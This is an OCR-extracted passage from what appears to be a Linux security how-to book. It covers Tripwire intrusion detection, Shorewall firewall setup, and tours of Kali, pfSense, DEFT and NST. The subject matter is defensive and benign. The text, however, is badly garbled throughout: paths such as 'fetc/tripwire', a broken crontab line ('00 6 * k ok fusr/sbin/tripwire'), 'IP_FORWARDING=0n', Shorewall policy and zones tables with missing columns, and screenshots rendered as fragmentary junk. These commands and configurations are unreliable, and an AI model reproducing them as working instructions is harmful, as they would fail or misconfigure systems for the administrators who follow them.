Once done, we try to access the Apache web server through a browser on the client machine.

We see that it asks for the new certificate to be added to the browser, and after doing this,
we are able to visit the web browser using HTTPS protocol.

With the increasing number of attacks on servers nowadays, administering the server securely
is becoming a complex problem. It is difficult to be sure that every attack has been effectively
blocked.

Tripwire is a host-based Intrusion Detection System (IDS), which can be used to monitor
different filesystem data points and then alert us if any file gets modified or changed.
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Getting Ready

We only need to install the Tripwire package on our Linux system to configure our IDS. In the
next section, we will see how to install and configure the tool.

How to do it...

We will discuss how to install and configure Tripwire on our Ubuntu system in the following steps:

1. The first step will be to install the Tripwire package using apt -get, as shown here:

root@sshclient:~# apt-get install tripwire
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following extra packages will be installed:
postfix
Suggested packages:
procmail postfix-mysql postfix-pgsql postfix-ldap postfix-pcre sasl2-bin
dovecot-common postfix-cdb postfix-doc
The following NEW packages will be installed:
postfix tripwire
® upgraded, 2 newly installed, © to remove and 323 not upgraded.
Need to get 4,827 kB of archives.
After this operation, 11.8 MB of additional disk space will be used.
Do you want to continue [Y/n]? y
Get:1 http://in.archive.ubuntu.com/ubuntu/ precise-updates/main postfix i386 2.9
.6-1~12.04.3 [1,273 kB]
Get:2 http://in.archive.ubuntu.com/ubuntu/ precisefuniverse tripwire i386 2.4.2.
2-1 [3,554 kB]

2. During the installation process it will show an information window. Press OK
to continue.

3. Inthe next window select Internet Site for type of mail configuration and press OK:

——— Postfix Configuration b——

General type of mail configuration:

No confiiuration

Internet with smarthost
Satellite system
Local only

<0k=> <Cancel>
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4. The next window will will ask for the system mail name. Enter the domain name of
the system on which you are configuring Tripwire:

| Postfix Configuration
The "mail name" is the domain name used to "qualify" _ALL_ mail
addresses without a domain name. This includes mail to and from <root=:
please do not make your machine send out mail from root@example.org
unless root@example.org has told you to.

This name will also be used by other programs. It should be the single,
fully qualified domain name (FQDN).

Thus, if a mail address on the local host is foo@example.org, the
correct value for this option would be example.org.

System mail name:

sshclient.com

<Cancel>

5. Press O in the next screen to continue.

6. Now we will be asked if we want to create a passphrase for Tripwire. Select Yes
and continue:

| Tripwire Configuration |

Do you wish to create/use your site key passphrase during installation?
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7. Now we will be asked if we want to rebuild the configuration file. Select Yes
and continue:

{ Tripwire Configuration |

Tripwire keeps its configuration in a encrypted database that is
generated, by default, from fetc/tripwire/twcfg.txt

Any changes to Jetc/tripwire/twcfg.txt, either as a result of a change
in this package or due to administrator activity, require the
regeneration of the encrypted database before they will take effect.

selecting this action will result in your being prompted for the site
key passphrase during the post-installation process of this package.

Rebuild Tripwire configuration file?

8. Next, select Yes to rebuild the policy file of Tripwire:

| Tripwire Configuration

Tripwire keeps its policies on what attributes of which files should be
monitored in a encrypted database that is generated, by default, from
Jetc/tripwire/twpol. txt

Any changes to /etc/tripwire/twpol.txt, either as a result of a change
in this package or due to administrator activity, require the
regeneration of the encrypted database before they will take effect.

Selecting this action will result in your being prompted for the site
key passphrase during the post-installation process of this package.

Rebuild Tripwire policy file?
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9. Next, provide the passphrase you wish to configure for Tripwire:

| Get site passphrase |
Tripwire uses two different keys for authentication and encryption of
files. The site key is used to protect files that could be used across
several systems. This includes the policy and configuration files.

You are being prompted for this passphrase either because no site key
exists at this time or because you have requested the rebuilding of the
policy or configuration files.

Remember this passphrase; it is not stored anywhere!

Enter site-key passphrase:

% % % % % %

<0k=>

It will also ask to re-confirm the passphrase in the next screen.

10. Next, provide a passphrase for the local key and also re-confirm in the next screen:

| Get local passphrase |
Tripwire uses two different keys for authentication and encryption of
files. The local key is used to protect files specific to the local
machine, such as the Tripwire database. The local key may also be used
for signing integrity check reports.

You are being prompted for this passphrase because no local key file
currently exists.

Remember this passphrase; it is not stored anywhere!

Enter local key passphrase:

11. The next screen confirms that the installation process has completed successfully.
Press OK to complete the installation:
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| |

| Get local passphrase

Tripwire has been installed

The Tripwire binaries are located in /usr/sbin and the database is
located in /var/lib/tripwire. It is strongly advised that these
locations be stored on write-protected media (e.g. mounted RO floppy).
See jusr/share/doc/tripwire/README.Debian for details.

12.

13.

14.

Once the installation has been completed successfully, our next step is to
initialize the Tripwire database. To do so we run the command as shown in
the following screenshot:

root@sshclient:~# tripwire --init

Please enter your local passphrase:
Parsing policy file: fetc/tripwire/tw.pol
Generating the database...

*** Processing Unix File System **=*

#HH Warning: File system error.

#H# Filename: /var/lib/ftripwire/sshclient.com.twd
### No such file or directory

#H# Continuing...

### Warning: File system error.

i Filename: [fetcfrc.boot

#H# No such file or directory

#HHE Continuing...

In the preceding output, we can see that an error called No such file or
directory is displayed for many filenames. This happens because Tripwire scans
for every file which is mentioned in its configuration file, whether it exists on the
system or not.

If we wish to remove the error shown in the previous screenshot, we have to edit the
file /etc/tripwire/tw.pol and comment the lines for the file/directory which are
not present in our system. We can even leave it as it is if we wish to as it does not
hamper the working of Tripwire.

We will now test how Tripwire is working. To do so, we will create a new file by running
the following command:

touch tripwire_testing

You can choose any name for the file as per your choice.
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15.

16.

166

Now run the Tripwire interactive command to test it is working. To do so, the
command is as follows:

tripwire --check --interactive

Open Source Tripwire(R) 2.4.2.2 Integrity Check Report

Report generated by: root
Report created on: Thu Jan 28 08:40:49 2016
Database last updated on:

Host name: sshclient.com

Host IP address: 69.172.201.208

Host ID: None

Policy file used: Jetc/tripwire/tw.pol

Configuration file used: Jetc/tripwire/tw.cfg

Database file used: /var/lib/tripwire/sshclient.com. twd
Command line used: tripwire --check --interactive

We will get an out put, as shown in the preceding screenshot. Tripwire checks all the
files/directories, and if there are any modifications, it will be shown in the result:

In our case, it displays a line as shown in the preceding screenshot, which tells us
that a file tripwire testing has been added to the /root directory.

If we wish to keep the changes shown, just save the result file that was automatically
opened in an editor.

While saving the result, you will be prompted for the local passphrase. Enter the
passphrase which you configured during the installation of Tripwire.

Finally, we add an entry to crontab to run Tripwire automatically to check for the
changes in file /directory. Open the file /etc/crontab in any editor of your choice
and add the following line:

00 6 * k ok fusr/sbin/tripwire --check

Here, 00 6 tells us that Tripwire will check daily at 6 o'clock.
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First we install the Tripwire package, and during the installation we fill in the details as asked.
Once the installation completes, we initialize the Tripwire database.

After this, we check whether Tripwire is working properly or not. For this, we first create a new
file at any location and then we run the Tripwire interactive command. Once the command
completes, we see in the output that it shows the new file that has been added. This confirms
that Tripwire is working perfectly.

We then edit Crontab configuration to run Tripwire automatically at a particular interval.

Do you wish to set up a Linux system as a firewall for a small network? Shorewall helps us to
configure an enterprise-level firewall via standard Shorewall tools.

Shorewall is actually built upon Iptables. However, Shorewall makes it easier to configure
the things.

Getting ready

A Linux system with two network cards installed and working is needed to configure Shorewall.
One card will be used as an external network interface and the second will be used as an
internal network interface. In our example, we are using etho0 as the external, and eth1 as
the internal interface.

Configure both cards as per the network configuration. Make sure that you are able to ping
another system on the local network and also something on the external network, the Internet.

On this system, we will be installing the Shorewall package and then configuring it as per
our requirements.
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How to do it...

1. We begin by installing shorewall on our system using the apt -get command:

root@mykerberos:~# apt-get install shorewall
Reading package lists... Done
Building dependency tree
Reading state information... Done
Suggested packages:
shorewall-doc
The following NEW packages will be installed:
shorewall
0 upgraded, 1 newly installed, @ to remove and 332 not upgraded.
Need to get 705 kB of archives.
After this operation, 1,826 kB of additional disk space will be used.
Get:1 http://in.archive.ubuntu.com/ubuntu/ precisefuniverse shorewall all 4.4.26
.1-1 [785 kB]
Fetched 765 kB in 3s (228 kB/s)
Preconfiguring packages ...
selecting previously unselected package shorewall.
(Reading database ... 144867 files and directories currently installed.)
Unpacking shorewall (from .../shorewall_4.4.26.1-1_all.deb) ...
Processing triggers for ureadahead ...
Processing triggers for man-db ...
Setting up shorewall (4.4.26.1-1) ...

2. Once the installation is complete, try to start shorewall. You will get an error
message, as follows:

root@mykerberos:~# fetc/init.d/shorewall start
#HEHF WARNING ##HE#
The firewall won't be started/stopped unless it is configured

Please read about Debian specific customization in
Jusr/share/doc/shorewall/README.Debian.gz.

HAHSHHH AR

root@mykerberos:~# |J

This means we need to first configure Shorewall before it can start running.

3. To configure Shorewall, edit the file /etc/default/shorewall in any editor of your
choice. Look for the line that reads startup=0 and change its value to the following:

# prevent startup with default configuration
# set the following varible to 1 in order to allow Shorewall to start

startup=1
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4. Next, edit the file /etc/shorewall/shorewall.conf and find the line which
reads IP_ FORWARDING. Verify that its value is set to On:

IP_FORWARDING=0n

5. The configuration files of Shorewall are located in the /etc/shorewall directory.
The minimum essential files which are essential for its working are as follows:

a Interfaces

a Policy
o Rules
o Zones

If any of these files is not found in /etc/shorewall directory after its installation,
we can find the same files in the directory /usr/share/doc/shorewall/
default-config/.

Copy the required files from this location to the /etc/shorewall directory.

6. Now edit the file /etc/shorewall/interfaces and add the lines as shown in the
following image:

R A I S R R
#ZONE INTERFACE BROADCAST OPTIONS
#

net ethe detect tcpflags,nosmurfs
local eth1 detect

We are referring etho0 as net in our configuration, and ethl as local. You can
choose any other name as long as it is alphanumeric and five characters or less.

7. Next, edit the file /etc/shorewall/zones. Zone is mainly used to set whether
to use ipv4 or ipvé:

A A A B A T R
TYPE OPTIONS IN ouT
OPTIONS OPTIONS

firewall
ipv4
ipv4

In the preceding configuration, £w refers to me, or the Shorewall firewall itself. The
next two lines define ipv4 for both the network interfaces.
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8.

10.

Now edit the policy file /etc/shorewall/. This file is mainly used to set the overall
policy about who is allowed to go where.

Each line in this file is processed from top to bottom and each is read in the
following format:

If a packet is sent from the to the then it

R B AR B S S A B A 0 R AR 0 1 B
#SOURCE DEST POLICY LOG LIMIT: CONNLIMIT:
LEVEL BURST MASK

ACCEPT info
ACCEPT info

ACCEPT info
ACCEPT info

DROP info

REJECT info

In our example, if we read the first policy, it will be read as—If a packet is sent from
the local to the net then Accept it.

You can add as many policies as you want in the same way, and the Shorewall firewall
will work accordingly.

Finally, we edit the file /etc/shorewall/rules. This file is used to create
exceptions to the policy. It is mainly used if you wish to allow people from the
external network into the internal network.

A sample rules files is shown in the following screenshot:
B

SOURCE DEST PROTO DEST
PORT

net fw tcp 80

We have added the rule which says Accept a packet if it is sent from the net to the
fw, using the protocol of tcp on port number 80.

Once we are done with configuring the preceding files as per the requirements,
we can test the settings by running the following command:

shorewall check
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In the output shown, scroll to the bottom, and if it says Shorewall configuration
verified, it means the settings have been done properly and that Shorewall can
now be used as a firewall:

root@mykerberos:~# shorewall check

Checking...

Processing fetc/shorewall/shorewall.conf...

Loading Modules...

Checking /etc/shorewall/zones...

Checking /etc/shorewall/interfaces...

Determining Hosts in Zones...

Locating Action Files...

Checking /usr/share/shorewall/action.Drop for chain Drop...
Checking /usr/share/shorewall/action.Broadcast for chain Broadcast...
Checking /usr/share/shorewall/action.Invalid for chain Invalid...
Checking fusr/share/shorewall/action.NotSyn for chain NotSyn...
Checking /usr/share/shorewall/action.Reject for chain Reject...
Checking /etc/shorewall/policy...

Adding Anti-smurf Rules

Checking TCP Flags filtering...

Checking Kernel Route Filtering...

Checking Martian Logging...

Checking MAC Filtration -- Phase 1...

Checking /etc/shorewall/rules...

Checking MAC Filtration -- Phase 2...

Applying Policies...

Shorewall configuration verified

11. Now restart the Shorewall service to apply the settings as follows:

service shorewall restart

We begin with installing Shorewall on the system, which has two network interface cards.

Once the installation is done, we edit the /etc/default/shorewall file and also the
/etc/shorewall/shorewall.conf file.

Then we edit or create these files in the /etc/shorewall location: interfaces, policy, rules,
and zones. And we add the lines to each file as per the requirements given.

Once the editing is done, we check if everything is fine and then we start the Shorewall service
to start our firewall.
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In this chapter, we will discuss the following topics:

» Kali Linux

» pfSense

» DEFT - Digital Evidence and Forensic Toolkit
» NST - Network Security Toolkit

» Helix

Kali is a Debian-based Linux distribution developed for the purpose of security testing. With
hundreds of penetration testing tools preinstalled, Kali is a ready to use 0S. We can run it off
a live CD, USB media, or in a virtual machine.

With its latest version of Kali 2.0, major changes have been made in the OS, shifting it to a
rolling release model. Now we can simply install Kali 2.0 on our system and get the latest
versions of the tools in it through normal updates. This means we don't have to wait for Kali
2.1 to get the latest stuff.

Getting ready

To explore Kali 2.0, download the latest version of it from its official website -
https://www.kali.org/downloads/.

We can download the ISO and then burn it to a CD/DVD or create a bootable USB device. We
can even download Kali Linux VMWare, Virtual Box, or ARM images from the link given above.



https://www.kali.org/downloads/

Linux Security Distros

How to do it...

Kali 2.0 includes major changes in terms of its updated development environment and tools.
We shall explore these changes to understand what the difference is:

1. To start using Kali, we can either install it or use it through a live option. When we
boot through the live option, we notice that the Grub screen has changed and has
been made simple to use.

GNU GRUB

2. The main system image of Kali has moved to GNOME 3, redesigning the user interface.
We can notice these changes at the login screen, which has been re-designed.

3. The desktop screen which appears after the login screen has also been re-designed.
We can see a snapshot of the new desktop screen in the following screenshot:
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Applications v

Tue 13:55

4. When we click on Applications on the top left, we see that the menu and tools

category has been restructured:

Applications v

Favorites

01 - Information Gathering
02 - Vulnerability Analysis
03 - Web Application Analysis
04 - Database Assessment
05 - Password Attacks

06 - Wireless Attacks

07 - Reverse Engineering

08 - Exploitation Tools

09 - Sniffing & Spoofing

10 - Post Exploitation

11 - Forensics

12 - Reporting Tools

13 - Social Engineering Tools

14 - System Services

Usual applications

®

-

3

o
™
&
4

lceweasel
Terminal
Files
metasploit ...
armitage
burpsuite
maltego
beef xss fr..
faraday IDE
Leafpad

Tweak Tool
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5. We can also access the tools by clicking on the Menu icon, which is at the bottom of
the sidebar. This way, we can see all the tools in one go:

-
!

L
M
3":-

Y
Caleul... “Chara...

c-r-s_:s_-;_ny Dictio...

"X RE

Frequent

6. Kali 2.0 includes a built-in screen casting option which is actually a part of GNOME
3. In the top right corner, click on the recorder icon and we get the option to Start
recording. Now, you can make videos of whatever you are doing on Kali with a
single click.

Start recording

Mo audio source

Record all desktop

J No delay in the registration

Options

7. If we wish to access the Settings menu of Kali, we will notice that it is missing under
the Application menu. To access Settings, click on the Power icon on top right and a

menu pops out.
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In this menu, we see the Settings icon in the bottom left.

Wired Connected

Proxy None

Not In Use

root

When we click on the Settings icon in the above step, we get our settings menu as
shown below. Now make changes in the system's settings as per your requirements.

Applications = Places ¥  J{ Settings Tue 14:11
All Settings Q| 000
Personal
Background Notifications Online Privacy Region & Search
Accounts Language
Hardware
=
() Q
O : ¢ =
Bluetooth Color Displays Keyboard Mouse & Network
Touchpad
- rd
® = < -
Power Printers Sound Wacom Tablet
System
Date & Time Details Sharing Universal Users
Access

Let's click on Details to see more information about Kali 2.0
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9. We can see details about the system in the following screenshot. This includes
information about the GNOME version.

GNOME

Version 3.18.2

Device name |kali

/ 1005.7 MiB

Intel® Core™2 Duo CPU T6670 @ 2.20GHz

= Gallium 0.4 on SVGA3D; build: RELEASE; LLVM:;
Kali GNU/Linux Rolling 32-bit

n VMware

< 30.2GB|

Check for updates

Whenever we wish to update Kali, just click on Check for updates button on the
Details window.

10. To continue and check for updates click on Continue Anyway, or else click on Cancel
to cancel the update process.

Package Updater is running as a privileged user

Package management applications are security sensitive.
Running graphical applications as a privileged user should be avoided
for security reasons.
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11. If your system is already upto date, a message will appear, as shown below.
Otherwise, the available updates can be downloaded.

All packages are up to date

There are no package updates available for your computer at this time.

When we boot Kali 2.0, the desktop screen has changed. We now have a sidebar on the left
side of the screen which helps us to access applications easily.

The Application menu in the top left corner contains all the tools under different categories.
The applications can also be accessed by using the Menu icon on the sidebar at the bottom.

Next, we can see that Kali 2.0 now includes a built-in screen recording tool which can be
accessed from the menu on the top right. In the same menu, we now have the option to
access the menu for system settings.

Then, we see option to check for system updates to keep Kali updated.

Kali 2.0 has the updated tools included and is built to pull updates from Debian four times
a day to ensure that the system is always up to date, and also to ensure that the security
updates are implemented on a regular basis.

As a network administrator, having a firewall and router in place is essential. When we talk
about setting up a firewall, we have the option to either simply install a pre-configured firewall
from any vendor or set up our own firewall system.

pfSense is an open source Linux distribution based on FreeBSD and is specially designed to
be used as a firewall which can be managed easily through the web interface.

Getting ready

Firstly, download pfSense from the following link:

https://www.pfsense.org/download/mirror.php?section=downloads



https://www.pfsense.org/download/mirror.php?section=downloads 
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Choose the correct computer architecture and platform as per your requirements.

After downloading pfSense, burn the ISO file to CD/DVD media, or you can even create live
bootable USB media.

We also need a system with two network interface cards to install and configure pfSense.

How to do it...

To set up and configure a firewall on our own system, we need to install and configure pfSense
and the following steps help us do this.

1. When we boot our system with the pfSense CD/DVD or USB device, the splash screen
appears as shown below:

. Boot Multi User [Enterl

. Boot [Slingle User

. [Esclape to loader prompt

. Reboot Sense

Options:
5. [Rlernel: kernel (1 of 2)
6. Configure Boot [Dlptions...

Press 6 to Configure Boot Options

2. Inthe next screen, again press 6 to turn on Verbose. Then, Press 1 to return to the
previous screen.

When back on the first screen, press Enter to boot pfSense.

3. PfSense will start booting. During the booting process, we get a screen as shown:
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[ Press R to enter recovery mode or 1
[ press I to launch the installer 1]

(R)ecovery mode can assist by rescuing config.xml
from a broken hard disk installation, etc.

(IJnstaller mMay be invoked now if you do
not wish to boot into the liveCD environment at this time.

(C) continues the LiveCD bootup wWithout further pause.

Timeout before auto boot continues (seconds): 9

Press I to install pfSense. Choose the option quickly within the 20 seconds count.

4. The next screen asks to Configure Console. Choose the option Accept these
settings and press Enter to continue.

5. Inthe next screen, choose Quick/Easy Install if new to pfSense. Otherwise,
you can choose Custom Install for more advanced options during the installation
process.

Press OK to continue with the installation. The installation process will start now.

During the installation, you will be asked choose which kernel configuration to install.
Select Standard Kernel as we are installing pfSense on a Desktop or PC. If
installing on an embedded platform, such as router boards, we can choose the
option Embedded kernel.

8. After this, the installation will continue. Once complete, select Reboot and press
Enter to complete the installation.

9. During the reboot process, the default username and password of pfSense will be
displayed as shown:

=IJEFAULT Usernames=: admin
*=[NEFAULT Passwords=: pfsense

Rebooting in 5 seconds. CTRL-C to abort.

10. After rebooting, we now have to configure our interface cards according to the
network configuration. The names of the two interfaces will be displayed as shown.
These names may be different in your case.

Ualid interfaces are:

lef AA:Bc:29:b1:94:5¢c (up)
lel AA:Bc:29:b1:94:66 (up)
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11. Now you will be asked Do you want to set up VLANs now. Enter n for NO at
this moment.

12. Now we need to enter the interface name to be used for WAN. In our case, it is 1e0.
Enter the name as per your configuration.

Next, enter the name of the interface to be used for LAN. For our example, it is 1e1l.

Enter the UAN interface name or 'a’ for auto-detection
(led lel or a): led

Enter the LAN interface name or 'a’ for auto-detection
NOTE: this enables full Firewalling~NAT mode.
(lel a or nothing if finished): lel]]

Then, press Y to proceed with the settings.

13. Once the interface have been set, we will get the pfSense menu as shown below:

=x% Welcome to pfSense Z2.2.6-RELEASE-cdrom (i3BG6) on pf3Sense sxx

WAN (wan) -> leB -> v4/DHCP4: 192.168.1.181.-24

LAN (lan) -» lel ->
Logout (SSH only) 9) pfTop
Assign Interfaces 18) Filter Logs
Set interface(s) IP address 11) Restart webConfigurator
Reset webConfigurator password 12) pfSense Developer Shell
Reset to factory defaults 13) Upgrade from console
Reboot system 14) Enable Secure Shell (sshd)
Halt system 15) Restore recent configuration
Ping host 16) Restart PHP-FPM
Shell

Install pfSense to a hard drive, etc.

Enter an option: [J

14. If the IP address for WAN and LAN interface is not set properly until this step, we can
set the IP address manually by choosing option 2 from the preceding menu.
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15. Choose the interface to configure and then provide the IP address for it:

Enter an option: 2

Available interfaces:

1 - HUAN (leB - dhcp, dhcpb)
2 — LAN (lel - static)

Enter the number of the interface you wWish to configure: 1
Configure IPvd address HAN interface wia DHCP? (ysn) n

Enter the new WAN IPv4 address. Press <ENTER> for none:
> 192.168.1.114

16. Next, enter the subnet and the default gateway:

Enter the new WAN IPvd subnet bit count (1 to 31):
> 24

For a HANM, enter the new WAN IPvd4 upstream gateway address.
For a LAM, press <ENTER> for none:
> 192.168.1.1]]

17. Follow the same steps for the LAN interface. When done, a link will be shown
onscreen which can be used to access the pfSense webConfigurator interface.

The IPv4 LAN address has been set to 192.168.1.115-24

You can noW access the webConfigurator by opening the following URL in your web
brouser:

http:rs192.168.1.115~

In our case, itis—http://192.168.1.115
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18. Now access the preceding link from any browser on a system on the same local
network as the pfSense system. Once we access the link, we get a login screen,
as shown:

& @ 192.168.1.115 v @

B~ coogle Q I 4

Enter the default username admin and default password pfsense to log in. These
details can be changed later after logging in.

19. Once logged in successfully, we get the main dashboard of pfSense.

(&) ) 1921681015 e | &~ A scorn

em + Interfaces ¥ Firewall » Services » Status + Diagnostics » Gold + Help

Status: Dashboard
(]

System Information Interfaces

pfsense.localdomain autoselect
O wan
2.2.6-RELEASE (i336) 192.168.1.114
built on Mon Dec 21 14:50:36 CST 2015

FreeBSD 10, 1-RELEASE-p25 autoselect

O LAN

192.168.1.115
fou are on the latest version,

cdrom

Intel(R) Core({TM)2 Duo CPU TE670 @ 2.20GHz
Current: 275 MHz, Max: 2201 MHz

01 Hour 00 Minute 38 Second

Mon Feb 8 17:21:35 IST 2016

127.0.0.1
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We boot from the pfSense CD/DVD and then choose the option to install the OS on our system.

To install pfSense, we use the option I during boot and then we use Quick/Easy Install.
After the installation completes, we set up the two interface cards. The first card is configured
according to the outside network, using the option Set interface IP address from the
menu. Then, we configure the IP address, subnet, and gateway address.

Next, we repeat the same process for the second card, which we configure according to the
local network.

Once the configuration is done, we can use the IP address of the second card to access the
web interface of pfSense from any browser on the same network system and customize our
router/firewall as per our requirements.

DEFT - Digital Evidence and Forensic Toolkit

While performing computer forensics, it is important that the software being used is able
to ensure the integrity of file structures. It should also be able to analyze the system being
investigated without any alteration, deletion, or change to the data.

DEFT is designed for forensics and is based on Lubuntu, which is itself based on Ubuntu.

Getting ready

DEFT can be downloaded from this link:
http://www.deftlinux.net/download/
Once downloaded, we can burn the image file on CD/DVD media or create a live bootable

USB media.

How to do it...

To use DEFT, we need to get an overview of what is included in the OS:

1. Once we boot DEFT CD/DVD or USB media, we get the boot screen. Firstly, we need
to select the language. Once done, we can choose to either run DEFT live, or else we
can install DEFT on our system.

2. Inour example, we have chosen to boot DEFT live. Once booting completes, we get
the home screen of DEFT.



http://www.deftlinux.net/download/ 
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3. Now, let's understand the different tools available in DEFT.

4. Inthe start menu, the first sub-menu under DEFT contains a list of various
Analysis tools.

%] =
E . <& Autopsy

LXTerminal evidence

B Bulk Extractor
B Bulk Extractor GUI
“A Catfish File Search
. @ DFF
= B Dumpy
File Manager g B bumpzilla
B Emuleforensic

ﬁ B Esedbexport

B A N > Findwild
ccessories -
S — T J & e

B Antimalware B Lnkinfo

; >
S E;Z?::: : % DataRecovery » B Log2TimeLine
Office p| = Hashing » B Lsink
& Programming y = Imaging » B Mhonarc
& Service N E Mobile Forensics » B outguess
B sound & Video y @ Network Forensics » B Pasco
B wine p # OSINT p B Readdbx
@ Password recovery » B Readpst
|& system Tools P % Reporting tools » Recoll
|| Preferences P = Disks B Regripper
. |= File Manager PCManFM B Rifiuti 2
= cParted B Rifiuti-Vista
& Logout @ Midnight Commander B skype extractor
LElOM T = = MountManager S
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[l Accessories
DEFT

¥ Graphics

{&l Internet

Office

[l Programming

& Service

B sound & video

B wine

% Analysis

»
drrrrrrre—

> % Data Recovery
-5 Hashing
“Z Imaging
B Mobile Forensics

=4 OSINT
@ Password recovery

& system Tools
|5 Preferences

“* Reporting tools

»

»

4 .
> w Network Forensics
»

>

P |2 Disks

Run

|=| File Manager PCManFM

|} GParted

& Logout

@ Midnight Commander

=74 [ £ = MountManager

5. The next sub-menu shows all the anti-malware tools:

>
B apktool
» B chkrootkit

p @ ClamTk Antivirus
» JD Gui

» B Pdfparser
» B Rkhunter
>

>

>

|| Accessories
DEFT

¥ Graphics

{&l Internet

Office

[ Programming

@ Service

B sound & video

& wine

®. Analysis
@ Antimalware

% Data Recovery | B Foremost

‘& Hashing
“Z Imaging

w Network Forensics
=4 OSINT
@ Password recovery

[E& system Tools
|24 Preferences

“* Reporting tools

>

>

>

>

N E Mobile Forensics
>

>

>

P ) Disks

Run

|=! File Manager PCManFM

™ GParted

& Logout

LTy

@ Midnight Commander
=/ MountManager

[

6. Then, we have the sub-menu of tools related to Data Recovery.

4

» B Myrescue
» B Photorec
» B Photorecsorter
» B Testdisk

v vrow
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7. The next sub-menu contains a list of different hashing tools which can be used to
check and compare hashes of any file.

|| Accessories

o ane b ‘
. Antimalware »
5 ﬁ;::::ts > £ Data Recovery »
) EETTTT R © ors:h:
@l Programming N “2 Imaging » B Md5deep
& service N B Mobile Forensics P B mdssum
il sound & Video > w Network Forensics p B shaideep
B wine > =4 OSINT » B Shalsum
@ Password recovery b B sha256deep
System Tools P Reporting tools P B sha256sum
|5 Preferences P = Disks B sha512deep
— |=! File Manager PCManFM B Ssdeep
™ GParted
& Logout @ Midnight Commander

4[] £ = MountManager

8. Inthe next submenu, we get tools for imaging. These can be used during a forensics
investigation to create an image of a system disk which needs to be investigated.

|| Accessories
DEFT ®. Analysis >
B Graphics > ! Antimalware »
i Internet S Data Recovery >
Office > ‘& Hashing » B cyclone
o e B b
& service > B Mobile Forensics » B Dcfldd
Bl sound & Video > w Network Forensics » B Ddrescue
B8 wine > =4 OSINT » B Dd_rescue
@ Password recovery » & Dhash2
System Tools » < Reporting tools » B Dislocker
|28 Preferences » | Disks B Esximager
— |=! File Manager PCManFM B EwfMount
=Y GParted & Guymager
& Logout @ Midnight Commander B vmdkmnt
74 [{] £ & MountManager B Xmount
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9. With the release of DEFT 7, tools for the analysis of mobile devices have also been

added. These can be found under the sub-menu Mobile Forensics:

[l Accessories »

- Analysis ‘
I Graphics ! Antimalware »
(3 Internet : Data Recovery »
OFffice ‘& Hashing :

¥ Imaging

»
>
»
[l Programmin | -
VI - \obiicrorensicc > LR
»
»
»
>

Bl sound & Video w Network Forensics » B apktool

@ wine =4 OSINT » B BitPim
@ Password recovery p B Fastboot

[& system Tools “* Reporting tools » B iDevice Backup 2

[#4] Preferences || Disks # |pddump

— |=! File Manager PCManFM B iPhone Backup Analyzer

= GParted B sqlite3

& Logout @ Midnight Commander E sQLite database browser

OB T4 [ £ = MountManager

10. The next sub-menu contains the Network Forensics tools.

|| Accessories

DEFT ®. Analysis >
¥ Graphics B Antimalware >
@ Internet Q Data Recovery >
Office ‘& Hashing :

> “2 Imaging
B MoblleForen5|cs

& Service 3 - : g :
Bl sound & video p CapAnalysis

& Programming

B wine =4 OSINT } B Nmap
@ Password recovery » B wireshark
& system Tools P Reporting tools » B xplico
|34] Preferences » = Disks
— |=! File Manager PCManFM
4 GParted
& Logout @ Midnight Commander

d(o) =Tx [[] £ = MountManager
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11. The next menu OSINT contains the open-source intelligence tools.

[l5] Accessories »
B > : Analysi: :
. Antimalware
E ﬁ\r'::::: : £ Data Recovery >
Office p| = Hashi.ng »
[# Programming » $ Imaging b
& Service N B Mobile Forensics 4
B Sound & Video > & Network Forensics > N
& wine N & Anonymouse Website
¢ Password recovery » m Creepy
[& system Tools » < Reporting tools » & Google Chrome
|=/ Preferences » &l Disks & Maltego
— |=] File Manager PCManFM 4 Tor Browser
|3 cParted
= Logout @ Midnight Commander

GO T A [ £ = MountManager

12. DEFT also contains tools for Password recovery, which can be found in the next

sub-menu.
[iE] Accessories >
BEET > *. Analysis »
B Graphics > ! Antimalware »
3 Internet p| B Data Recovery »
Office > & Hashing »
[ Programming » ¥ imaging y
& service N E Mobile Forensics 4
B sound & Video >  Network Forensics »
E Wine > =4 OSINT »
B cospud
@ system Tools P < Reporting tools » B cupp
|& Preferences » = Disks B Fcrackzip
o |=l File Manager PCManFM B John the Ripper
= GParted B Pdfcrack
= Logout @ Midnight Commander B samdump2
fﬁ& =, = MountManager "% XHydra

13. Apart from the preceding categories of tools, DEFT contains a few reporting tools,
which can be useful while creating reports.
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[lE] Accessories 4
DEFT > %, Analysis
. B Antimalware
I Graphics S
B3 Internet y = DataRecovery
Office > Hashing
& Programming p = Imaging
& service N B Mobile Forensics
ﬁ <ound & Video > « Network Forensics
ﬁ Wine > =4 OSINT
@ Password recovery
System Tools >
|#4] Preferences P | Disks
0 |= File Manager PCManFM
¥ GParted
= Logout @ Midnight Commander

=7x [@ £ = MountManager

B Reporting tools 2| @ Grab screenshot

v v v Vv v v wvyyw

w

KeepNote
# Mobius Forensic
@ RecordMyDesktop
@& sciTE Text Editor
& VYM -View Your Mind
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14. DEFT uses WINE to execute Windows tools under Linux, and the option for WINE can

be found under the main menu.

[l Accessories
S, DEFT

B Graphics

{& Internet
Office

& Programming
& Service

B sound & video >

v v vV wvwyw

System Tools >

|34 Preferences 4
Run

= Logout

|Z=] Browse C: Drive
Configure Wine
|2 Uninstall wWine Software
Winetricks

We either install DEFT or use the live CD option to boot it on our system. Once booted, we
go to the start menu and then we move to the DEFT menu. Here, we find various tools under
different categories. We can use tools for analysis, data recovery, mobile forensics, network

forensics, and so on.

WINE is used in DEFT to execute Windows applications here.




Linux Security Distros

NST - Network Security Toolkit

Linux has many distributions developed mainly for the purpose of penetration testing. Among
them, one is Network Security Toolkit (NST), which was developed to provide easy access to
open source network security applications in one place.

NST is based on Fedora Linux and contains tools for professionals and network administrators.

Getting ready

NST can be downloaded from its webpage or directly from this link:
http://sourceforge.net/projects/nst/files/

Once downloaded, we can either burn the ISO on a CD/DVD or create a live bootable
USB media.

How to do it...

Using NST for penetration testing becomes easy when we have an idea about how to use the
0S and also what the tools included in the OS are:

1. To use NST, the first step is to boot the system with NST. We have the option to either
boot using the live option or directly install NST on the system. In our example, we have
chosen the live boot option. You can choose any option as per your requirements. Once
booting completes, we get the default desktop of NST, as shown here:

NST

Install NST To Hard
Drive
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NST comes with a web user interface, which is a kind of control panel to do anything
with NST. However, this can be accessed only when the existing user account has a
password set. To set the password, we click on the icon Set NST System Password,
which is on the desktop. This will open a terminal window and will give you the option
to create a new password:

New NST Password:

Retype new password:

Changing password for user root.

passwd: all authentication tokens updated successfully.

Successfully updated password for 'root' in fetc/shadow

Changing password for user nst.

passwd: all authentication tokens updated successfully.

Successfully updated password for 'nst' in /fetc/shadow

